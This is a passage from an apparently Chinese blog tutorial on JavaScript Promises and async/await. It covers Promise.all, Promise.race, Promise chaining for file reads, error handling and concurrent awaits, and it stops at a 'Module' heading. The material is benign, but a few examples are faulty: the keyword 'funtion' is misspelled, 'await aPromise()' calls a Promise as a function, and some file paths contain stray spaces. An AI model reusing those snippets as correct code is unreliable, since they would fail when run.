function_">log</span>(res)       <span class="comment">// [ &#x27;3秒后醒来&#x27;, &#x27;2秒后醒来&#x27; ]</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(err)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><strong>需要特别注意的是，Promise.all获得的成功结果的数组里面的数据顺序和Promise.all接收到的数组顺序是一致的，即p1的结果在前，即便p1的结果获取的比p2要晚。</strong></p><h2 id="race-方法"><a href="#race-方法" class="headerlink" title=".race() 方法"></a>.race() 方法</h2><p>顾名思义，Promse.race就是赛跑的意思，意思就是说，Promise.race([p1, p2, p3])里面哪个结果获得的快，就返回那个结果，不管</p><p>结果本身是成功状态还是失败状态</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> p1 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">resolve</span>(<span class="string">&#x27;success&#x27;</span>)</span><br><span class="line">  &#125;,<span class="number">1000</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> p2 = <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="title function_">reject</span>(<span class="string">&#x27;failed&#x27;</span>)</span><br><span class="line">  &#125;, <span class="number">500</span>)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="title class_">Promise</span>.<span class="title function_">race</span>([p1, p2]).<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(res)</span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(err)  <span class="comment">// 打开的是 &#x27;failed&#x27;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><h2 id="解决回调地狱"><a href="#解决回调地狱" class="headerlink" title="解决回调地狱"></a>解决回调地狱</h2><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">getFileByPath</span>(<span class="params">path</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line">        fs.<span class="title function_">readFile</span>(path, <span class="string">&#x27;utf-8&#x27;</span>, <span class="function">(<span class="params">error, data</span>) =&gt;</span> &#123;</span><br><span class="line">            <span class="keyword">if</span>(error) <span class="keyword">return</span> <span class="title function_">reject</span>(error)</span><br><span class="line">            <span class="title function_">resolve</span>(data)</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// .then先执行</span></span><br><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02.txt&#x27;</span>).<span class="title function_">then</span>(</span><br><span class="line"><span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">&#125;, </span><br><span class="line"><span class="title function_">funtion</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error) </span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>解决回调地狱</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/03 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data3</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data3)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>如果前面的Promise执行失败，我们不想让后续的Promise被终止，可以为每个Promise指定失败回调</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;, <span class="keyword">function</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>有时候，我们有这样的需求，如果后续Promise执行，依赖于前面Promise执行的结果，如果前面失败了， 则后面的就没有执行下去的意义了，此时我们想要实现，一旦报错，则立即终止所有Promise的执行</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/01.txt&#x27;</span>)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/02 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data2</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data2)</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">getFileByPath</span>(<span class="string">&#x27;./files/03 .txt&#x27;</span>)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">then</span>(<span class="keyword">function</span>(<span class="params">data3</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(data3)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="keyword">function</span>(<span class="params">error</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 如果前面有任何的promise执行失败，会立即终止所有promise，并马上进入catch去处理promise中抛出的异常</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> someAsyncThing = <span class="keyword">function</span>(<span class="params">flag</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span>(<span class="params">resolve, reject</span>) &#123;</span><br><span class="line"><span class="keyword">if</span>(flag)&#123;</span><br><span class="line"><span class="title function_">resolve</span>(<span class="string">&#x27;ok&#x27;</span>);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="title function_">reject</span>(<span class="string">&#x27;error&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="title function_">someAsyncThing</span>(<span class="literal">true</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>)=&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;data:&#x27;</span>,data); <span class="comment">// 输出 &#x27;ok&#x27;</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>)=&gt;</span>&#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;error:&#x27;</span>, error); <span class="comment">// 不执行</span></span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line"><span class="title function_">someAsyncThing</span>(<span class="literal">false</span>).<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>)=&gt;</span> &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;data:&#x27;</span>,data); <span class="comment">// 不执行</span></span><br><span class="line">&#125;).<span class="title function_">catch</span>(<span class="function">(<span class="params">error</span>)=&gt;</span>&#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;error:&#x27;</span>, error); <span class="comment">// 输出 &#x27;error&#x27;</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>上面代码中，someAsyncThing 函数成功返回 ‘OK’, 失败返回 ‘error’, 只有失败时才会被 catch 捕捉到。</p><h1 id="async-await异步操作"><a href="#async-await异步操作" class="headerlink" title="async/await异步操作"></a>async/await异步操作</h1><h2 id="含义"><a href="#含义" class="headerlink" title="含义"></a>含义</h2><blockquote><p>ES2017 标准引入了 async 函数，使得异步操作变得更加方便</p></blockquote><p>async 函数是什么？一句话，它就是 Generator 函数的语法糖</p><p><code>async/await</code>从字面意思上很好理解，<code>async</code>是异步的意思，<code>await</code>有等待的意思，而两者的用法上也是如此。<code>async</code>用于申明一个<code>function</code>是异步的，而<code>await</code> 用于等待一个异步方法执行完成。</p><p><code>async</code> 函数的使用方式，直接在普通函数前面加上 <code>async</code>，表示这是一个异步函数，在要异步执行的语句前面加上 <code>await</code>，表示后面的表达式需要等待</p><h2 id="基本用法"><a href="#基本用法" class="headerlink" title="基本用法"></a>基本用法</h2><h3 id="async关键词"><a href="#async关键词" class="headerlink" title="async关键词"></a>async关键词</h3><p>async的语法很简单，就是在函数开头加一个<code>async</code>关键字，示例如下：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">f1</span>()) <span class="comment">// 1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title function_">f2</span>()) <span class="comment">// Promise&#123;&lt;fulfilled&gt;:1&#125;</span></span><br></pre></td></tr></table></figure><p><strong>凡是在前面添加了async的函数在执行后都会自动返回一个Promise对象</strong></p><p>async函数会返回一个promise对象，如果function中返回的是一个值，async直接会用Promise.resolve()包裹一下返回：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">await</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 上面3个函数作用等同</span></span><br><span class="line"></span><br><span class="line"><span class="title function_">f2</span>().<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// 1</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><h3 id="await关键词"><a href="#await关键词" class="headerlink" title="await关键词"></a>await关键词</h3><p>关键词<code>await</code>是等待的意思，其后面是一个表达式，这个表达式可以是常量、变量、Promise以及函数等</p><p><strong>await必须在async函数里使用，不能单独使用</strong></p><p><strong>await后面需要跟Promise对象，不然就没有意义，而且await后面的Promise对象不必写then，因为await的作用之一就是获取后面Promise对象成功状态传递出来的参数</strong></p><p><code>await</code>操作符等的是一个返回的结果，那么如果是同步的情况，那就直接返回了</p><p>异步的情况下，<code>await</code>会阻塞整一个流程，直到结果返回之后，才会继续下面的代码</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;aaa&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;bbb&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">test</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> a = <span class="keyword">await</span> <span class="title function_">f1</span>();</span><br><span class="line">    <span class="keyword">const</span> b = <span class="keyword">await</span> <span class="title function_">f2</span>();</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(a, b);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">test</span>(); <span class="comment">// aaa bbb</span></span><br></pre></td></tr></table></figure><blockquote><p>阻塞代码是一个很可怕的事情，而async函数，会被包在一个promise中，异步去执行。所以await只能在async函数中使用，如果在正常程序中使用，会造成整个程序阻塞，得不偿失。</p></blockquote><h3 id="基本示例"><a href="#基本示例" class="headerlink" title="基本示例"></a>基本示例</h3><p>当函数执行的时候，一旦遇到<code>await</code>就会先返回，等到异步操作完成，再接着执行函数体内后面的语句</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">timeout</span>(<span class="params">ms</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="built_in">setTimeout</span>(res, ms)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">asyncFn</span>(<span class="params">v, ms</span>) &#123;</span><br><span class="line">    <span class="keyword">await</span> <span class="title function_">timeout</span>(ms) <span class="comment">// 必须等待await后面表达式成功返回才会执行后面语句</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(v)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">asyncFn</span>(<span class="string">&#x27;hello&#x27;</span>, <span class="number">5000</span>) <span class="comment">// 5s后输出hello</span></span><br></pre></td></tr></table></figure><p> 正常情况下，<code>await</code>命令后面是一个 Promise 对象，返回该对象的结果。如果不是 Promise 对象，就直接返回对应的值</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">await</span> <span class="string">&#x27;hello&#x27;</span>; <span class="comment">// 等同于 return &#x27;hello&#x27;;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v)) <span class="comment">// hello 【then的回调函数的接收的值是return语句返回的await语句返回值】</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;出错了&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(</span><br><span class="line">  <span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v),</span><br><span class="line">  <span class="function"><span class="params">e</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(e) <span class="comment">// Error: 出错了</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">---------------------------------</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;出错了&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(</span><br><span class="line">  <span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v),</span><br><span class="line">  <span class="function"><span class="params">e</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(e) <span class="comment">// 出错了</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">---------------------------------</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;出错了&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>()</span><br><span class="line">.<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v))</span><br><span class="line">.<span class="title function_">catch</span>(<span class="function"><span class="params">e</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(e)) <span class="comment">// 出错了</span></span><br></pre></td></tr></table></figure><p> 注意，上面代码中，<code>await</code>语句前面没有<code>return</code>，但是<code>reject</code>方法的参数依然传入了<code>catch</code>方法的回调函数。这里如果在<code>await</code>前面加上<code>return</code>，效果是一样的。 </p><p>如果await后面的Promise变为reject状态，则reject的参数会被catch回调函数接收</p><p><strong>如果是变为reject状态，前面不加return，reject的参数也会被catch回调函数接收</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;错误&#x27;</span>);</span><br><span class="line">  <span class="keyword">await</span> <span class="number">10</span>;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(res) &#125;, <span class="function">(<span class="params">err</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(err) &#125;)</span><br><span class="line"><span class="comment">// 错误 【抛出错误后，会中断整个async函数的执行】</span></span><br></pre></td></tr></table></figure><h2 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h2><p>任何一个<code>await</code>语句后面的 Promise 对象变为<code>reject</code>状态，那么整个<code>async</code>函数都会中断执行。 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;出错了&#x27;</span>);</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;hello world&#x27;</span>); <span class="comment">// 不会执行</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>()</span><br></pre></td></tr></table></figure><p> 上面代码中，第二个<code>await</code>语句是不会执行的，因为第一个<code>await</code>语句状态变成了<code>reject</code>。</p><p> 有时候，我们希望即使前一个异步操作失败，也不要中断后面的异步操作。这时可以将第一个<code>await</code>放在<code>try...catch</code>结构里面，这样不管这个异步操作是否成功，第二个<code>await</code>都会执行。 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;出错了&#x27;</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span>(e) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(e); <span class="comment">// 出错了</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v))</span><br><span class="line"><span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p> 另一种方法是<code>await</code>后面的 Promise 对象再跟一个<code>catch</code>方法，处理前面可能出现的错误。 </p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;出错了&#x27;</span>).<span class="title function_">catch</span>(<span class="function"><span class="params">e</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(e));</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;hello world&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>().<span class="title function_">then</span>(<span class="function"><span class="params">v</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(v))</span><br><span class="line"><span class="comment">// 出错了</span></span><br><span class="line"><span class="comment">// hello world</span></span><br></pre></td></tr></table></figure><p>promise并不是只有一种resolve，还有一种reject的情况。而await只会等待一个结果，发生错误了有以下方式捕捉：</p><p><strong>用try-catch来做错误捕捉</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;error&#x27;</span>)</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(err)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">f</span>() <span class="comment">// error</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;失败&#x27;</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span>(e) &#123;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;成功&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>()</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;res &#x27;</span> + res)</span><br><span class="line">&#125;)</span><br><span class="line">.<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;err &#x27;</span> + err)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// res 成功</span></span><br><span class="line"><span class="comment">// 可以将可能抛出错误的语句放入try catch语句中</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">reject</span>(<span class="string">&#x27;失败&#x27;</span>).<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123; <span class="variable language_">console</span>.<span class="title function_">log</span>(err) &#125;);</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&#x27;成功&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f</span>()</span><br><span class="line">.<span class="title function_">then</span>(<span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(res)</span><br><span class="line">&#125;)</span><br><span class="line"><span class="comment">// 失败 成功</span></span><br><span class="line"><span class="comment">// 也可以在可能抛出错误的promise对象后面使用catch来捕获抛出的错误</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">func</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> res1 = <span class="keyword">await</span> <span class="title function_">a</span>();</span><br><span class="line">    <span class="keyword">var</span> res2 = <span class="keyword">await</span> <span class="title function_">b</span>();</span><br><span class="line">    <span class="keyword">var</span> res3 = <span class="keyword">await</span> <span class="title function_">c</span>();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(err);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 如果有多个await语句，那么可以将其统一放在try语句中</span></span><br><span class="line"><span class="comment">// 特别说明：如果具有多个await语句，且它们之间不是继发关系，建议让它们同时触发，以达到最大性能</span></span><br></pre></td></tr></table></figure><h2 id="继发并发"><a href="#继发并发" class="headerlink" title="继发并发"></a>继发并发</h2><p>如果具有多个await语句，且它们之间不是继发关系，建议让它们同时触发，以达到最大性能</p><p>getA和getB是独立的异步操作，没必要是继发关系，也就是执行完a再去执行b，那么可以采用以下方式</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> [a, b] = <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">all</span>([<span class="title function_">getA</span>(), <span class="title function_">getB</span>()]);</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">let</span> aPromise = <span class="title function_">getA</span>();</span><br><span class="line"><span class="keyword">let</span> bPromise = <span class="title function_">getB</span>();</span><br><span class="line"><span class="keyword">let</span> a = <span class="keyword">await</span> <span class="title function_">aPromise</span>();</span><br><span class="line"><span class="keyword">let</span> b = <span class="keyword">await</span> <span class="title function_">bPromise</span>();</span><br></pre></td></tr></table></figure><h2 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h2><p>在我们处理异步的时候，比起回调函数，Promise的then方法会显得较为简洁和清晰，但是在处理多个<strong>彼此之间相互依赖的请求的时候</strong>，就会显的有些累赘。这时候，用async和await更加优雅</p><h1 id="Module-的语法"><a href="#Module-的语法" class="headerlink" title="Module 的语法"></a>Module 的语法</h1><figure class="highlight 